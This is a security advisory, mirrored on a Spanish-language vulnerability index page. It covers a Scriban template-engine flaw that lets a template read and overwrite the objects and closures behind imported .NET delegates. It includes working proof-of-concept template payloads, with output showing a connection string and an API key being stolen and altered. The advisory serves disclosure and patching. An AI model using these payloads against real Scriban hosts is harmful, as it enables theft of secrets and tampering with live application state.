GHSA-HVR4-4P37-494F
Function values expose their .NET internals: a template can read and write the object (or closure) behind any imported delegate, and reach System.Type/Assembly objects from builtins
Texto original en inglés · Ver en español
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-HVR4-4P37-494F divulgada · CVSS 7.4 (GitHub) | |
| Remediación | Parche 7.5.2 | Scriban · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Severity: High — CVSS 3.1 7.4 `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N`
- AV:N / PR:N / UI:N: the attacker only needs to submit a template.
- AC:H: the high-impact variant requires the host to have imported a delegate whose `Target` holds state, i.e. `ScriptObject.Import(name, Delegate)` with an instance-method delegate (`new Func<…>(service.Method)`) or a lambda that captures locals. This is the documented way to expose a function (scriptobject.md, "Via `ScriptObject.Import(member, Delegate)`"), and lambdas over services/config are common, but it is a host condition outside the attacker's control. If maintainers consider that configuration the norm, AC:L gives 9.1.
- C:H / I:H: the template gets the delegate target with reflection read and write access to its public properties and fields, and recursively to every object reachable from them (connection strings, API keys, auth flags, service state). Writes persist in the host after `Render` returns.
- Without any host-imported delegate (variant B) the impact is information disclosure only: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N` (5.3).
Packages: NuGet `Scriban`, `Scriban.Signed`
Affected versions: <= 7.5.1 (verified on 7.5.1 = master `eb8d441`). Earlier versions not checked.
Patched versions: 7.5.2
Description
The safe-runtime docs define the exposure boundary as: "templates can only access the builtin functions plus the objects, members, and functions that your application explicitly exposes". A host that exposes a *function* does not expect the template to receive the object the function is bound to.
`TemplateContext.GetMemberAccessor` (`src/Scriban/TemplateContext.cs` ~L994) returns a reflection `TypedObjectAccessor` for the function wrapper objects themselves. Their public members therefore become template-readable:
- `DelegateCustomFunction.Target` (`src/Scriban/Runtime/DelegateCustomFunction.cs` ~L39): the delegate's target, i.e. the service instance for an instance method, or the compiler-generated closure (display class) for a lambda. Display-class fields are public, so captured locals are readable and writable.
- `DynamicCustomFunction.Method` (`src/Scriban/Runtime/DynamicCustomFunction.cs` ~L34, public readonly field): a `MethodInfo`; `ReturnType` (~L178): a `System.Type`; `Tag` (~L183).
Accessing a member on a function variable normally invokes the function, so `fn.target` does not work directly. But `array.map <list> "<member>"` (`src/Scriban/Functions/ArrayFunctions.cs` ~L646) reads the named member on each raw item, so `[@fn] | array.map "target"` returns the raw .NET object. From there, the regular reflected-object rules apply (public getters readable, public setters/fields writable).
Only `ScriptObject.Import(name, Delegate)` (`ScriptObjectExtensions.cs` ~L390) creates a function with a non-null `Target`; `Import(object)` / `Import(Type)` import static methods only. The `Method`/`ReturnType` path works on every builtin.
Proof of concept
A. Host imports two functions and nothing else
using Scriban;
using Scriban.Runtime;
public class GreetingService
{
public string ConnectionString { get; set; } = "Server=db;Password=hunter2";
public string Greet(string name) => "Hello " + name;
}
var ctx = new TemplateContext();
var so = new ScriptObject();
var svc = new GreetingService();
so.Import("greet", new Func<string, string>(svc.Greet));
string apiKey = "sk-closure-captured-key";
so.Import("sign", new Func<string, string>(s => s + ":" + apiKey.Length));
ctx.PushGlobal(so);
var result = Template.Parse(text).Render(ctx);
result += $"\n[host after render] svc.ConnectionString={svc.ConnectionString} apiKey={apiKey}";Template:
{{ greet "bob" }}
svc={{ t = ([@greet] | array.map "target")[0]; t }}
conn={{ t.connection_string }}
write={{ t.connection_string = "Server=evil"; t.connection_string }}
closure={{ c = ([@sign] | array.map "target")[0]; c }}
key={{ c.api_key }}
overwrite={{ c.api_key = "x"; sign "a" }}
method={{ m = ([@string.upcase] | array.map "method")[0]; m.declaring_type.assembly.location }}Output:
Hello bob
svc=GreetingService
conn=Server=db;Password=hunter2
write=Server=evil
closure=Program+<>c__DisplayClass0_1
key=sk-closure-captured-key
overwrite=a:1
method=<application directory>\Scriban.dll
[host after render] svc.ConnectionString=Server=evil apiKey=xThe service's property was read and overwritten, and the lambda's captured local `apiKey` was read and overwritten in the host.
B. Host exposes nothing
var ctx = new TemplateContext();
ctx.PushGlobal(new ScriptObject());
Template.Parse(text).Render(ctx);{{ t = ([@string.upcase] | array.map 'return_type')[0]; t.assembly.full_name }}; {{ t.module.fully_qualified_name }}Output: `System.Private.CoreLib, Version=10.0.0.0, …; C:\Program Files\dotnet\shared\Microsoft.NETCore.App\10.0.13\System.Private.CoreLib.dll`. Same with `@date.now`. The template obtains `System.Type`, `Assembly` and `MethodInfo` objects (install paths, exact runtime version, type enumeration through reflected properties). Methods on these objects are not callable through the accessor; no code execution path was found.
Impact
- Hosts that import instance-method delegates or capturing lambdas: a template can read secrets held by the target object or closure and every public property reachable from it, and overwrite public properties/fields (including captured locals) in the live host process. Changes persist across renders and, for shared services, across users/tenants.
- All hosts: a template can reach reflection objects for the runtime and Scriban assemblies, disclosing deployment paths and runtime versions.
Suggested remediation
- In `GetMemberAccessor`, return an empty accessor (e.g. `NullAccessor`) for `IScriptCustomFunction` instances, so function values expose no members.
- At minimum, hide `Target`, `Method`, `ReturnType` and `Tag` from template member access (make them non-public, or filter them in the accessor).
- Review other builtins that read a member by name from raw items (`array.map`, `array.sort`/`array.filter`/`where`-style member arguments) for the same raw-object path.
References: related prior advisories on reflected member access: GHSA-7jvp-hj45-2f2m, GHSA-5wr9-m6jw-xx44.
---
🤖 Generated with Claude Code https://claude.com/claude-code
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
nugetScriban |
Corregida | 7.5.2 | 0 d | 7.6.1 no afectada |
nugetScriban.Signed |
Corregida | 7.5.2 | 0 d | 7.6.1 no afectada |
7.5.2Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/scriban/scriban/security/advisories/GHSA-hvr4-4p37-494fLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
